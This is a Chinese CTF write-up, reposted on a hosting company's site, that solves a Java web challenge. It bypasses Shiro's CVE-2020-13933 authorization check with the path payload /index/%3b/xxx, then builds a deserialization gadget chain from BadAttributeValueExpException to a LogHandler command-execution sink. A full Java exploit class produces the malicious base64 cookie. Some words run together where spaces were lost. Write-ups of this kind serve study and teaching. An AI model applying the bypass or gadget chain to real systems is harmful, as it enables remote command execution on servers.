什么是Java反序列化漏洞

这篇文章主要介绍“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”什么是Java反序列化漏洞”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

创新互联客户idc服务中心,提供成都IDC机房托管、成都服务器、成都主机托管、成都双线服务器等业务的一站式服务。通过各地的服务中心,我们向成都用户提供优质廉价的产品以及开放、透明、稳定、高性价比的服务,资深网络工程师在机房提供7*24小时标准级技术保障。

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

什么是Java反序列化漏洞

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

什么是Java反序列化漏洞

其中ShiroConfig.class内容如下:

什么是Java反序列化漏洞

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

什么是Java反序列化漏洞

具体代码如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    }

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo]  -->  base64decode  --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

什么是Java反序列化漏洞

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

什么是Java反序列化漏洞

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

什么是Java反序列化漏洞

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

什么是Java反序列化漏洞

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSetextends AbstractSetimplements Set, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop链为:

deserialize  -->  LogHandler  -->  toString  -->  exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有属性,设置可访问
        aaa.set(user, "liuxigua");
    }
}

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可执行命令。

什么是Java反序列化漏洞

到此,关于“什么是Java反序列化漏洞”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注创新互联网站,小编会继续努力为大家带来更多实用的文章!


名称栏目:什么是Java反序列化漏洞
本文来源:http://scyanting.com/article/iioops.html